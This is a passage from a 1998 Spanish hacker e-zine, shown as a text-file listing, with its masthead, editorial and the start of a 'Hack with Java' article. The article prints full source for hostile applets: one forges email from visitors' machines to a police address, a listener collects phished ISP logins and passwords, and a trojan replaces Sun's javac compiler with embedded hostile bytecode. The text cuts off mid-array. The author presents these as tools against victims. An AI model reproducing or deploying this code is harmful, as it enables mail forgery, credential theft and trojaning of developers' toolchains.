home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / jjf / jjf004.txt < prev    next >
Encoding:
Text File  |  2002-05-27  |  310.7 KB  |  14,069 lines

  1.                    
  2.                
  3.                         ╔────────────────────────────╗
  4.                         │                  ┌──────┐  │
  5.                         │                  │██████│  │
  6.                         │           ┌──────┤██┌───┘  │
  7.                         │    ┌──────┤██████│██└─┐    │
  8.                         │    │██████├─┐██┌─┤████│    │
  9.                         │    └─┐██┌─┴┐│██│J│██┌─┘    │
  10.                         │  ┌──┐│██│██└┘██│J│██│      │  
  11.                         │  │██└┘██│██████│F├──┘      │  
  12.                         │  │██████├──────┴─┘         │  
  13.                         │  └──────┘                  │  
  14.                         │   H A C K E R S  T E A M   │  
  15.                         │       J O U R N A L        │  
  16.                         ╠────────────────────────────╣        
  17.                         │     VOL. #1, Nº4, 1998.    │ 
  18.                         ╚────────────────────────────╝
  19.  
  20.  
  21.                   THE HACKERS ARE COMMING TO SAVE THE EARTH. 
  22.  
  23.  
  24. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=          
  25.  
  26.      Nota: - J.J.F. / HACKERS TEAM - no se hace responsable del mal uso
  27.            de la informacion aqui expuesta y tampoco tiene que estar
  28.            de acuerdo con lo que sus colaboradores opinen.
  29.            Tampoco esperamos que la gente use la informacion aqui expuesta
  30.            para hacer daño ya que tan solo es con fines didacticos.
  31.  
  32.      Recomendado el uso del editor del MS-DOS.
  33.  
  34. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=          
  35.  
  36.      #CURRENT MEMBERS :
  37.  
  38.      - CONDE VAMPIRO     - CODER  H/P/V  EDITOR
  39.      - MAC CRACK BISHOP  - CODER  C/P    WEBMASTER
  40.      
  41.      #WEB OFICIAL :
  42.  
  43.      - http://www.angelfire.com/mi/JJFHackers
  44.      - http://jjfhackers.home.ml.org
  45.  
  46.      #E-MAIL OFICIAL :
  47.  
  48.      - jjf_team@usa.net      
  49.  
  50.      #DISTRIBUIDORES OFICIALES DEL E-ZINE :
  51.  
  52.      - http://wakanda.islatortuga.com
  53.      - http://underhack.islatortuga.com
  54.      - http://personal.redestb.es/cheroky-1 
  55.      - http://members.xoom.com/baron_rojo/
  56.  
  57.      #MIEMBRO OFICIAL (web ring) DE :
  58.  
  59.      - Black Angels
  60.      - Spanish Underground Web Ring
  61.  
  62.      #COLABORADORES CON ESTE NUMERO :
  63.  
  64.      - Daemon
  65.      - Nobody
  66.      - DrSlump (OiOiO's Band)
  67.      - Bisho
  68.      - Silicon Dragon
  69.  
  70.      #SALUDOS :
  71.  
  72.      - Metalslug (Wakanda)
  73.      - Schoddy Guy (Underhack)
  74.      - Cheroky
  75.      - Silicon Dragon
  76.  
  77. <────────────────────────────────────────────────────────────────────────────>
  78. <────────────────────────────────────────────────────────────────────────────>
  79. <────────────────────────────────────────────────────────────────────────────>
  80.  
  81.   - INDICE.                                  
  82.  
  83.     TITULO                                        AUTOR
  84.   ────────────\_______________________________/────────────
  85.  
  86.   * EDITORIAL ................................ J.J.F. / HACKERS TEAM
  87.   * HACK WITH JAVA ........................... NOBODY.
  88.   * UN POKILLO DE PHREAKING .................. DRSLUMP.    
  89.   * CURSO DE HACK IV ......................... CONDE VAMPIRO.
  90.   * COMO HACKEAR UN TAMATGOTCHI .............. BISHO.
  91.   * MANIFIESTO DE UN HACKER NOVATO ........... SILICON DRAGON.  
  92.   * INTRODUCCION AL HACKING v2.0 II .......... DAEMON.
  93.   * EL LECTOR OPINA .......................... VARIOS.
  94.   * NOTICIAS UNDERGROUND ..................... J.J.F. / HACKERS TEAM
  95.  
  96. <────────────────────────────────────────────────────────────────────────────>
  97. ██████████████████████████████████████████████████████████████████████████████
  98. <────────────────────────────────────────────────────────────────────────────>
  99.  
  100.   -------------
  101.   │ EDITORIAL │
  102.   -------------
  103.  
  104.         Bueno, parece mentira, ya estamos en el cuarto numero de este ezine, y
  105.   por lo que podemos comprobar parece que esta gustando mucho a la comunidad
  106.   underground y eso nos alegra mucho y nos anima a seguir pero por supuesto
  107.   nos teneis que ayudar enviando articulos o cualquier cosa que pienses que
  108.   puede servir para este ezine. Ya hemos superado el numero de algunas
  109.   publicaciones underground antiguas y esto nos sorprende pero esta claro
  110.   que pensamos editar muchos mas numeros y crear algo que valga la pena
  111.   para los hackers hispanos.
  112.  
  113.         Sinceramente, cuando empezamos con este proyecto hace ya unos 6 meses,
  114.   no pensabamos que conseguiria abrirse un hueco como lo esta haciendo,
  115.   incluso aquellas lejanas voces que nos criticaban por esta supuesta locura,
  116.   han desaparecido, demostrando que estaban equivocados al no darnos una
  117.   oportunidad al empezar. Como es bien sabido, siempre es mas facil criticar,
  118.   que ayudar.
  119.  
  120.         Nos gustaria que los hackers hispanos nos ayudeis en la elaboracion de
  121.   este ezine enviando vuestros articulos o actos de hack, con lo que
  122.   consiguiremos una revista autenticamente hispana y nos olvidaremos de los
  123.   topicos americanos, que estan demasiados vistos, ademas cuando es bien
  124.   sabido que en el underground hispano hay magnificos hackers.
  125.  
  126.         Os queremos comentar que la seccion EL LECTOR OPINA, parece que
  127.   funciona muy bien, ya que recibismos muchas cartas de los lectores, pero
  128.   como sabeis nos gustaria que fuese mas dinamica esta seccion, esto se
  129.   consiguiria si fueseis los propios lectores que os contestaises entre
  130.   vosotros, nosotros os ponemos los medios y os ayudamos cuando sea
  131.   necesario ;-)
  132.  
  133.         Destacar que en este numero del ezine, en la seccion de NOTICIAS
  134.   UNDERGROUND os hemos preparado una serie de articulos dedicados a los
  135.   hackers que recientemente entraron en el Pentagono, y que estamos seguros
  136.   que os gustaran mucho. Tambien decir que a partir de ahora contamos con
  137.   mas distribuidores oficiales, como el web de Cheroky y el de Silicon Dragon.
  138.   O sea que ahora no teneis excusa para decir que no podeis encontrar este
  139.   ezine ;-)
  140.  
  141.         Por algun extraño misterio que no comprendemos, muchos de nuestros
  142.   lectores nos siguen enviado mail a la direccion antigua, ya en el numero 3
  143.   os avisamos que hemos cambiado de direccion de correo, por lo que a partir
  144.   de ahora los mail's que sean enviados a la direccion antigua no seran
  145.   contestados. Por eso apuntaros la nueva o pasaros por el web, ya que
  146.   siempre estaras a la ultima de cualquier cambio en - J.J.F. / HACKERS
  147.   TEAM -.
  148.  
  149.         Nos gustaria deciros que si teneis un link a nuestro web o quereis
  150.   colaborar de alguna forma con el ezine, solo nos teneis que enviar un
  151.   mail informandonos de ello, por ejemplo si quereis ser distribuidores
  152.   oficiales, quereis pasar el ezine a otro formato, llevar una seccion en
  153.   el ezine, etc...  Ya corto con el tipico rollo y que empieze el ezine, pero
  154.   no antes sin decirte que si quieres enviar un articulo, actos de hacking,
  155.   sugerencias, propuestas o criticas, escribe a la siguiente direccion:
  156.  
  157.   jjf_team@usa.net
  158.  
  159.                                                    - J.J.F. / HACKERS TEAM -
  160.  
  161. <────────────────────────────────────────────────────────────────────────────>
  162. ██████████████████████████████████████████████████████████████████████████████
  163. <────────────────────────────────────────────────────────────────────────────>
  164.                                                                    27-02-1998.
  165.                                                                      ??????
  166.  
  167.                               █ █ █ █ █ █ █ █ █
  168.                                 HACK WITH JAVA █
  169.                            ───█────────────────>
  170.                                   by NOBODY    █
  171.                               █ █ █ █ █ █ █ █ █
  172.  
  173. ()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
  174.  
  175.   Nota Del Autor: No me hago responsable de la mala utilizacion de la
  176.                   informacion aqui expuesta ya que tan solo es para fines
  177.                   didacticos. Por lo que se ruega cuidado al usar el
  178.                   material sensible de este articulo.
  179.  
  180. ()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
  181.  
  182.         Quien no a oido hablar de Java o como minimo haberlo visto en una web,
  183.   como por ejemplo esas fantasticas animaciones o esos curiosos botones?? Ese
  184.   supuesto lenguaje que tenia que ser universal y seguro, solo que como
  185.   suele pasar la teoria es mas bonita que la practica, y en este caso no 
  186.   podia ser para menos.
  187.  
  188.         Para quien no se acuerde de Java o no sepa nada, explicaremos un poco
  189.   su mecanismo. Java es un lenguaje de caracter general creado por James
  190.   Gosling e introducido por Sun Microsystems, el cual se puede ejecutar en
  191.   cualquier plataforma, por ejemplo, podemos escribir un programa en un pc
  192.   corriendo Win y despues pasarlo a un Sparc sin ningun problema. Esto es
  193.   debido a la compilacion de Java que es diferente que los demas lenguajes.
  194.   Cuando compilamos en Java (el fichero *.java, que es el fuente) este pasa a
  195.   un formato en binario *.class (lo que se conoce como Bytecode) y despues
  196.   tiene que ser leido por la maquina virtual java que tiene que estar en la
  197.   plataforma que querramos usar el programa, practicamente hoy en dia en
  198.   todas las plataformas hay maquinas virtuales java.
  199.  
  200.         Digamos que Java presenta 2 tipos principales de peligros, el primero
  201.   seria usar applets o programas en java en nuestro ordenador sin saber de
  202.   donde vienen, logicamente hay medidas de seguridad contra esto pero se
  203.   pueden evitar ;-) y el segundo tipo sera la que nos interesa en este
  204.   articulo y que paso a describir con mas profundidad.
  205.  
  206.         Este 2 grupo al que me refiero seria cuando conectamos a un web con
  207.   applets de java, ya que hay varios tipos de ataques que podemos sufrir o
  208.   en nuestro caso usar para nuestro hacking. Este tipo de ataques los
  209.   podemos dividir en 4 categorias. Que serian estas:
  210.  
  211.   1- Modificacion del sistema.
  212.   2- Invadir la privacidad.
  213.   3- Denegacion de servicios (DoS).
  214.   4- Molestos.
  215.  
  216.   1- Modificacion del sistema.
  217.  
  218.         Este ataque seria cuando un usuario conecta a un web donde haya un
  219.   applet de java y este le modifique su ordenador sin que el usuario se
  220.   percate de nada. Logicamente esto es muy util si queremos controlar el
  221.   ordenador de nuestra victima.
  222.  
  223.         Este codigo en java es muy divertido, ya que cuando una persona visite
  224.   nuestro web, el applet de java enviara un mail suyo al G.D.I. (Grupo de
  225.   Delincuencia Informatica de la Guardia Civil, pequeño ajuste que le he
  226.   hecho al codigo }:-) y lo mejor es que la victima ni se enterra.
  227.  
  228. ------------ Codigo Fuente ---------------------------------------------------
  229.  
  230. /* Forger.java by Mark D. LaDue */
  231.  
  232. /* March 15, 1996 */
  233.  
  234. /*  Copyright (c) 1996 Mark D. LaDue
  235.     You may study, use, modify, and distribute this example for any purpose.
  236.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  237.  
  238. /*  This hostile applet forges an elctronic mail letter from the person who
  239.     views the applet in a browser to the person whose address appears in the
  240.     string "toMe."  The return address will be listed as HostileApplets@
  241.     followed by the string "mailFrom."  The appropriate commands to use for
  242.     sendmail can be often be found in the file /etc/mail/sendmail.hf.  
  243.     Note that while the person viewing the applet actually does initiate
  244.     the mail by connecting (involuntarily) to port 25, the applet host's role
  245.     in sending it is not so easily hidden.  See the full header of any e-mail
  246.     letter sent by the applet for more details. */ 
  247.  
  248. import java.applet.*;
  249. import java.io.*;
  250. import java.net.*;
  251.  
  252. public class Forger extends java.applet.Applet implements Runnable { 
  253.  
  254.     public static Socket socker;
  255.     public static DataInputStream inner;
  256.     public static PrintStream outer;
  257.     public static int mailPort = 25 ;
  258.     public static String mailFrom = "guardiacivil.org";
  259.     public static String toMe = "gc.uco@mad.servicom.es";
  260.     public static String starter = new String();
  261.     Thread controller = null;
  262.  
  263.     public void init() {
  264.  
  265.     try {
  266.         socker = new Socket(getDocumentBase().getHost(), mailPort);
  267.         inner = new DataInputStream(socker.getInputStream());
  268.         outer = new PrintStream(socker.getOutputStream());
  269.         }
  270.         catch (IOException ioe) {}
  271.     }
  272.  
  273.     public void start() {
  274.         if (controller == null) {
  275.             controller = new Thread(this);
  276.             controller.setPriority(Thread.MAX_PRIORITY);
  277.             controller.start();
  278.         }
  279.     }
  280.  
  281.     public void stop() {
  282.         if (controller != null) {
  283.             controller.stop();
  284.             controller = null;
  285.         }
  286.     }
  287.  
  288.     public void run() {
  289.         try {
  290.             starter = inner.readLine();
  291.         }
  292.         catch (IOException ioe) {}
  293.         mailMe("HELO " + mailFrom);
  294.         mailMe("MAIL FROM: " + "HostileApplets@" + mailFrom);
  295.     mailMe("RCPT TO: " + toMe);
  296.     mailMe("DATA");
  297.         mailMe("Subject: About PenPal.java" + "\n" +"Hi Venkat,"  + 
  298.            "\n" + "\n" + 
  299.            "Thanks for taking a look at PenPal.java.  From your note\n" +
  300.            "I think I can understand why you're not seeing the desired\n" +
  301.            "result.  My guess is that perhaps you're only looking at\n" +
  302.            "an abbreviated header from an e-mail note that the applet\n" +
  303.            "forges.  In order to get the whole story, you have to\n" +
  304.            "inspect the full header.  That's where you'll be able to\n" +
  305.            "discern more information about the *sender*.  Of course\n" +
  306.            "that's exactly what my shell script retrieves from\n" +
  307.            "/var/mail/mladue.  None of this is apparent from the\n" +
  308.            "source code, and indeed I noticed it quite by accident \n" +
  309.            "when I was fiddling around trying to make my mail forging\n" + 
  310.            "applet work.  Perhaps it's a peculiarity of the mail\n" +
  311.            "system here in the School of Mathematics, but it really works\n" +
  312.            "for me here.  So I hope that's what it is and that you'll\n" +
  313.            "be able to reproduce my results there.\n" +
  314.            "\n" + "Mark LaDue\n" + "mladue@math.gatech.edu\n" + "\n" +
  315.            "\n" + "P.S. Of course one of my applets forged this note.\n" +
  316.            "\n." + "\n"); 
  317.         mailMe("QUIT");
  318.         try {
  319.             socker.close();
  320.         }
  321.         catch (IOException ioe) {}
  322.     }
  323.  
  324.     public void mailMe(String toSend) {
  325.         String response = new String();
  326.         try {
  327.             outer.println(toSend);
  328.             outer.flush();
  329.             response = inner.readLine();
  330.         }
  331.         catch(IOException e) {}
  332.     }
  333. }
  334.  
  335. ------------ FIN -------------------------------------------------------------
  336.  
  337.         Este curioso applet nos sera de gran ayuda, ya que cuando un usuario
  338.   vea nuestro web, el applet emulara un modo de servidor, con lo que
  339.  podremos obtener informacion del ordenador de usuario. Este codigo acompaña
  340.  el applet llamado "Ungrateful.java", el cual esta mas abajo y asi podremos
  341.  engañar al usuario y recibir su login y password de su ISP ;-)
  342.  
  343. ------------ Codigo Fuente ---------------------------------------------------
  344.  
  345. /* LoginServerSocket.java by Mark D. LaDue */
  346.  
  347. /* February 28, 1996 */
  348.  
  349. /*  Copyright (c) 1996 Mark D. LaDue
  350.     You may study, use, modify, and distribute this example for any purpose.
  351.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  352.  
  353. /*  This Java Application sets up a simple ServerSocket to receive
  354.      data from the Java applet Ungrateful.java */
  355.  
  356. import java.applet.Applet;
  357. import java.awt.*;
  358. import java.io.*;
  359. import java.net.*;
  360.  
  361. class LoginServerSocket {
  362.  
  363.     public static void main(String args[]) {
  364.  
  365.         ServerSocket server;
  366.         Socket sock;
  367.         InputStream inStream;
  368. //      OutputStream outStream;
  369.         String home = new String("www.math.gatech.edu");
  370.         int port = 7000;
  371.         byte b[] = new byte[128];
  372.         int numbytes;
  373.         String reply;
  374.  
  375.         if (args.length != 1) {
  376.           System.out.println("Command: java LoginServerSocket <port number>");
  377.           return;
  378.         }
  379.  
  380.         System.out.println("LoginServerSocket Session Starting");
  381.  
  382.         port = Integer.parseInt(args[0]);
  383.  
  384. //    Create the ServerSocket
  385.         try {
  386.             server = new ServerSocket(port);
  387.             }
  388.         catch (IOException ioe) {
  389.             System.out.println("Unable to open port " + port);
  390.             return;
  391.         }
  392.  
  393. //  Listen for anyone logging in to the applet
  394.         while (true) {
  395.             try {
  396.                 sock = server.accept();
  397.                 inStream = sock.getInputStream();
  398.             }
  399.             catch (IOException ioe) {
  400.                 System.out.println("Accept failed at port " + port);
  401.                 return;
  402.             }
  403.             try {
  404.                 numbytes = inStream.read(b, 0, 128);
  405.             }
  406.             catch (IOException ioe) {
  407.                 System.out.println("Read failed at port " + port);
  408.                 return;
  409.             }
  410.             reply = new String(b, 0, 0, numbytes);
  411.             System.out.println("Host Name / IP Address \t" + 
  412.                                "Login \t" + "Password");
  413.             System.out.println(reply);
  414.  
  415. //  We could send a message back, but we won't right now
  416.             try {
  417.                 sock.close();
  418.             }
  419.             catch (IOException ioe) {
  420.                  System.out.println("Unable to close port " + port);
  421.             }
  422.         }
  423.     }
  424. }
  425.  
  426. ------------ FIN -------------------------------------------------------------
  427.  
  428.         Este programa en java es una especie de virus en java, ya que se
  429.   aprovecha de un fallo en los compiladores Java de Sun (unix). Cuando el
  430.   programa Hijacker.java se ejecute, contaminara el compilador y cada vez
  431.   que cree un fichero *.class saldra el mensaje de "Hijacked!", el programa
  432.   puede ser facilmente modificado para que los efectos sean peores.
  433.  
  434. ------------ Codigo Fuente ---------------------------------------------------
  435.  
  436. /* Hijacker.java by Mark D. LaDue */
  437.  
  438. /* January 6, 1997 */
  439.  
  440. /* Copyright (c) 1997 Mark D. LaDue
  441.    You may study, use, modify, and distribute this example for any purpose.
  442.    This example is provided WITHOUT WARRANTY either expressed or implied.  */
  443.  
  444. /* This Java application attacks Sun's Java compiler javac.  It takes
  445.    advantage of the fact that Sun's javac is a shell script that searches
  446.    for classes first in your CLASSPATH, then in $J_HOME/classes, and finally
  447.    in $J_HOME/lib/classes.zip.  Thus if classes.zip doesn't happen to lie
  448.    in your CLASSPATH, javac will look for Java classes in $J_HOME/classes
  449.    before it uses classes.zip.  Hijacker.java takes advantage of this fact
  450.    and creates a hostile $J_Home/classes/sun/tools/javac/Main.class, the main
  451.    class of the compiler.  In this case, the hostile compiler simply
  452.    announces its presence each time it is run and appends the string
  453.    "Hijacked!" to every .class file that it produces.  Clearly the same
  454.    could be done to any other Java classes, and a more sophisticated version
  455.    could simply "patch" classes.zip, or even the Java Runtime, to achieve
  456.    more dire efffects.  By itself a Trojan class like this is not too
  457.    threatening, but as the payload of a Java Platform virus.... */
  458.  
  459. import java.io.*;
  460.  
  461. class Hijacker {
  462.     public static void main (String[] argv) {
  463. // The integer array containing a hacked Main.class
  464. int[] hijacked = {
  465. 202,
  466. 254,
  467. 186,
  468. 190,
  469. 0,
  470. 3,
  471. 0,
  472. 45,
  473. 1,
  474. 109,
  475. 8,
  476. 1,
  477. 98,
  478. 8,
  479. 1,
  480. 99,
  481. 8,
  482. 1,
  483. 100,
  484. 8,
  485. 1,
  486. 48,
  487. 8,
  488. 1,
  489. 108,
  490. 8,
  491. 1,
  492. 104,
  493. 8,
  494. 1,
  495. 59,
  496. 8,
  497. 1,
  498. 60,
  499. 8,
  500. 1,
  501. 68,
  502. 8,
  503. 0,
  504. 217,
  505. 8,
  506. 0,
  507. 248,
  508. 8,
  509. 1,
  510. 90,
  511. 8,
  512. 1,
  513. 87,
  514. 8,
  515. 1,
  516. 18,
  517. 8,
  518. 1,
  519. 15,
  520. 8,
  521. 1,
  522. 64,
  523. 8,
  524. 0,
  525. 241,
  526. 8,
  527. 1,
  528. 69,
  529. 8,
  530. 1,
  531. 71,
  532. 8,
  533. 1,
  534. 38,
  535. 8,
  536. 0,
  537. 209,
  538. 8,
  539. 0,
  540. 212,
  541. 8,
  542. 1,
  543. 49,
  544. 8,
  545. 1,
  546. 102,
  547. 8,
  548. 1,
  549. 106,
  550. 8,
  551. 0,
  552. 230,
  553. 8,
  554. 1,
  555. 37,
  556. 8,
  557. 1,
  558. 27,
  559. 8,
  560. 1,
  561. 32,
  562. 8,
  563. 1,
  564. 65,
  565. 8,
  566. 1,
  567. 67,
  568. 8,
  569. 0,
  570. 253,
  571. 8,
  572. 1,
  573. 79,
  574. 8,
  575. 1,
  576. 78,
  577. 8,
  578. 1,
  579. 84,
  580. 8,
  581. 0,
  582. 202,
  583. 8,
  584. 0,
  585. 204,
  586. 8,
  587. 1,
  588. 34,
  589. 8,
  590. 1,
  591. 88,
  592. 7,
  593. 1,
  594. 45,
  595. 7,
  596. 0,
  597. 254,
  598. 7,
  599. 1,
  600. 74,
  601. 7,
  602. 1,
  603. 5,
  604. 7,
  605. 1,
  606. 1,
  607. 7,
  608. 0,
  609. 223,
  610. 7,
  611. 0,
  612. 252,
  613. 7,
  614. 0,
  615. 246,
  616. 7,
  617. 1,
  618. 47,
  619. 7,
  620. 0,
  621. 236,
  622. 7,
  623. 1,
  624. 0,
  625. 7,
  626. 1,
  627. 75,
  628. 7,
  629. 1,
  630. 95,
  631. 7,
  632. 0,
  633. 250,
  634. 7,
  635. 0,
  636. 231,
  637. 7,
  638. 0,
  639. 242,
  640. 7,
  641. 1,
  642. 43,
  643. 7,
  644. 1,
  645. 50,
  646. 7,
  647. 0,
  648. 255,
  649. 7,
  650. 0,
  651. 251,
  652. 7,
  653. 0,
  654. 249,
  655. 7,
  656. 1,
  657. 12,
  658. 7,
  659. 1,
  660. 10,
  661. 7,
  662. 1,
  663. 89,
  664. 7,
  665. 1,
  666. 16,
  667. 7,
  668. 1,
  669. 53,
  670. 10,
  671. 0,
  672. 40,
  673. 0,
  674. 140,
  675. 10,
  676. 0,
  677. 57,
  678. 0,
  679. 161,
  680. 10,
  681. 0,
  682. 40,
  683. 0,
  684. 193,
  685. 9,
  686. 0,
  687. 57,
  688. 0,
  689. 165,
  690. 10,
  691. 0,
  692. 45,
  693. 0,
  694. 143,
  695. 10,
  696. 0,
  697. 49,
  698. 0,
  699. 186,
  700. 10,
  701. 0,
  702. 46,
  703. 0,
  704. 154,
  705. 10,
  706. 0,
  707. 45,
  708. 0,
  709. 185,
  710. 10,
  711. 0,
  712. 61,
  713. 0,
  714. 194,
  715. 10,
  716. 0,
  717. 61,
  718. 0,
  719. 175,
  720. 10,
  721. 0,
  722. 50,
  723. 0,
  724. 138,
  725. 10,
  726. 0,
  727. 47,
  728. 0,
  729. 168,
  730. 10,
  731. 0,
  732. 61,
  733. 0,
  734. 167,
  735. 10,
  736. 0,
  737. 60,
  738. 0,
  739. 201,
  740. 10,
  741. 0,
  742. 43,
  743. 0,
  744. 166,
  745. 11,
  746. 0,
  747. 63,
  748. 0,
  749. 196,
  750. 11,
  751. 0,
  752. 63,
  753. 0,
  754. 182,
  755. 10,
  756. 0,
  757. 48,
  758. 0,
  759. 197,
  760. 10,
  761. 0,
  762. 61,
  763. 0,
  764. 160,
  765. 10,
  766. 0,
  767. 49,
  768. 0,
  769. 144,
  770. 10,
  771. 0,
  772. 60,
  773. 0,
  774. 149,
  775. 10,
  776. 0,
  777. 46,
  778. 0,
  779. 158,
  780. 10,
  781. 0,
  782. 45,
  783. 0,
  784. 197,
  785. 9,
  786. 0,
  787. 57,
  788. 0,
  789. 141,
  790. 10,
  791. 0,
  792. 58,
  793. 0,
  794. 177,
  795. 10,
  796. 0,
  797. 58,
  798. 0,
  799. 181,
  800. 10,
  801. 0,
  802. 61,
  803. 0,
  804. 146,
  805. 10,
  806. 0,
  807. 62,
  808. 0,
  809. 190,
  810. 10,
  811. 0,
  812. 57,
  813. 0,
  814. 142,
  815. 10,
  816. 0,
  817. 43,
  818. 0,
  819. 184,
  820. 10,
  821. 0,
  822. 62,
  823. 0,
  824. 200,
  825. 10,
  826. 0,
  827. 62,
  828. 0,
  829. 195,
  830. 10,
  831. 0,
  832. 58,
  833. 0,
  834. 187,
  835. 9,
  836. 0,
  837. 50,
  838. 0,
  839. 159,
  840. 10,
  841. 0,
  842. 41,
  843. 0,
  844. 168,
  845. 10,
  846. 0,
  847. 62,
  848. 0,
  849. 183,
  850. 9,
  851. 0,
  852. 50,
  853. 0,
  854. 171,
  855. 10,
  856. 0,
  857. 57,
  858. 0,
  859. 199,
  860. 9,
  861. 0,
  862. 50,
  863. 0,
  864. 169,
  865. 10,
  866. 0,
  867. 57,
  868. 0,
  869. 172,
  870. 10,
  871. 0,
  872. 43,
  873. 0,
  874. 191,
  875. 10,
  876. 0,
  877. 65,
  878. 0,
  879. 145,
  880. 10,
  881. 0,
  882. 45,
  883. 0,
  884. 192,
  885. 10,
  886. 0,
  887. 49,
  888. 0,
  889. 163,
  890. 10,
  891. 0,
  892. 50,
  893. 0,
  894. 157,
  895. 10,
  896. 0,
  897. 55,
  898. 0,
  899. 197,
  900. 10,
  901. 0,
  902. 50,
  903. 0,
  904. 148,
  905. 10,
  906. 0,
  907. 62,
  908. 0,
  909. 173,
  910. 10,
  911. 0,
  912. 48,
  913. 0,
  914. 162,
  915. 10,
  916. 0,
  917. 60,
  918. 0,
  919. 180,
  920. 10,
  921. 0,
  922. 60,
  923. 0,
  924. 150,
  925. 10,
  926. 0,
  927. 45,
  928. 0,
  929. 170,
  930. 10,
  931. 0,
  932. 62,
  933. 0,
  934. 198,
  935. 10,
  936. 0,
  937. 49,
  938. 0,
  939. 164,
  940. 10,
  941. 0,
  942. 62,
  943. 0,
  944. 168,
  945. 10,
  946. 0,
  947. 47,
  948. 0,
  949. 153,
  950. 10,
  951. 0,
  952. 48,
  953. 0,
  954. 152,
  955. 10,
  956. 0,
  957. 50,
  958. 0,
  959. 176,
  960. 10,
  961. 0,
  962. 54,
  963. 0,
  964. 186,
  965. 10,
  966. 0,
  967. 54,
  968. 0,
  969. 147,
  970. 10,
  971. 0,
  972. 50,
  973. 0,
  974. 179,
  975. 10,
  976. 0,
  977. 64,
  978. 0,
  979. 178,
  980. 10,
  981. 0,
  982. 54,
  983. 0,
  984. 192,
  985. 9,
  986. 0,
  987. 62,
  988. 0,
  989. 189,
  990. 10,
  991. 0,
  992. 56,
  993. 0,
  994. 174,
  995. 10,
  996. 0,
  997. 61,
  998. 0,
  999. 151,
  1000. 10,
  1001. 0,
  1002. 51,
  1003. 0,
  1004. 188,
  1005. 10,
  1006. 0,
  1007. 57,
  1008. 0,
  1009. 156,
  1010. 9,
  1011. 0,
  1012. 43,
  1013. 0,
  1014. 139,
  1015. 10,
  1016. 0,
  1017. 46,
  1018. 0,
  1019. 195,
  1020. 10,
  1021. 0,
  1022. 48,
  1023. 0,
  1024. 155,
  1025. 10,
  1026. 0,
  1027. 47,
  1028. 0,
  1029. 188,
  1030. 12,
  1031. 0,
  1032. 206,
  1033. 0,
  1034. 213,
  1035. 12,
  1036. 0,
  1037. 215,
  1038. 0,
  1039. 220,
  1040. 12,
  1041. 0,
  1042. 229,
  1043. 1,
  1044. 80,
  1045. 12,
  1046. 1,
  1047. 72,
  1048. 1,
  1049. 86,
  1050. 12,
  1051. 1,
  1052. 54,
  1053. 1,
  1054. 30,
  1055. 12,
  1056. 1,
  1057. 31,
  1058. 0,
  1059. 244,
  1060. 12,
  1061. 0,
  1062. 208,
  1063. 1,
  1064. 83,
  1065. 12,
  1066. 1,
  1067. 13,
  1068. 1,
  1069. 81,
  1070. 12,
  1071. 1,
  1072. 96,
  1073. 1,
  1074. 83,
  1075. 12,
  1076. 0,
  1077. 211,
  1078. 0,
  1079. 222,
  1080. 12,
  1081. 0,
  1082. 221,
  1083. 1,
  1084. 7,
  1085. 12,
  1086. 1,
  1087. 11,
  1088. 1,
  1089. 80,
  1090. 12,
  1091. 0,
  1092. 218,
  1093. 1,
  1094. 41,
  1095. 12,
  1096. 1,
  1097. 36,
  1098. 1,
  1099. 51,
  1100. 12,
  1101. 1,
  1102. 23,
  1103. 1,
  1104. 52,
  1105. 12,
  1106. 0,
  1107. 214,
  1108. 1,
  1109. 81,
  1110. 12,
  1111. 0,
  1112. 210,
  1113. 1,
  1114. 80,
  1115. 12,
  1116. 1,
  1117. 42,
  1118. 1,
  1119. 83,
  1120. 12,
  1121. 1,
  1122. 39,
  1123. 1,
  1124. 81,
  1125. 12,
  1126. 0,
  1127. 235,
  1128. 1,
  1129. 81,
  1130. 12,
  1131. 0,
  1132. 243,
  1133. 1,
  1134. 107,
  1135. 12,
  1136. 1,
  1137. 20,
  1138. 1,
  1139. 91,
  1140. 12,
  1141. 1,
  1142. 19,
  1143. 1,
  1144. 9,
  1145. 12,
  1146. 0,
  1147. 228,
  1148. 1,
  1149. 62,
  1150. 12,
  1151. 0,
  1152. 240,
  1153. 1,
  1154. 7,
  1155. 12,
  1156. 1,
  1157. 46,
  1158. 1,
  1159. 44,
  1160. 12,
  1161. 0,
  1162. 234,
  1163. 1,
  1164. 14,
  1165. 12,
  1166. 0,
  1167. 215,
  1168. 1,
  1169. 26,
  1170. 12,
  1171. 1,
  1172. 24,
  1173. 1,
  1174. 82,
  1175. 12,
  1176. 0,
  1177. 237,
  1178. 1,
  1179. 35,
  1180. 12,
  1181. 0,
  1182. 243,
  1183. 1,
  1184. 30,
  1185. 12,
  1186. 1,
  1187. 2,
  1188. 1,
  1189. 91,
  1190. 12,
  1191. 1,
  1192. 31,
  1193. 1,
  1194. 73,
  1195. 12,
  1196. 1,
  1197. 94,
  1198. 1,
  1199. 91,
  1200. 12,
  1201. 0,
  1202. 218,
  1203. 1,
  1204. 30,
  1205. 12,
  1206. 0,
  1207. 243,
  1208. 0,
  1209. 233,
  1210. 12,
  1211. 0,
  1212. 228,
  1213. 1,
  1214. 4,
  1215. 12,
  1216. 0,
  1217. 216,
  1218. 1,
  1219. 29,
  1220. 12,
  1221. 1,
  1222. 22,
  1223. 1,
  1224. 101,
  1225. 12,
  1226. 0,
  1227. 238,
  1228. 1,
  1229. 81,
  1230. 12,
  1231. 1,
  1232. 6,
  1233. 1,
  1234. 30,
  1235. 12,
  1236. 0,
  1237. 243,
  1238. 1,
  1239. 33,
  1240. 12,
  1241. 0,
  1242. 218,
  1243. 1,
  1244. 63,
  1245. 12,
  1246. 1,
  1247. 93,
  1248. 1,
  1249. 57,
  1250. 12,
  1251. 0,
  1252. 203,
  1253. 1,
  1254. 80,
  1255. 12,
  1256. 0,
  1257. 243,
  1258. 1,
  1259. 21,
  1260. 12,
  1261. 0,
  1262. 239,
  1263. 1,
  1264. 3,
  1265. 12,
  1266. 1,
  1267. 31,
  1268. 0,
  1269. 245,
  1270. 12,
  1271. 1,
  1272. 70,
  1273. 0,
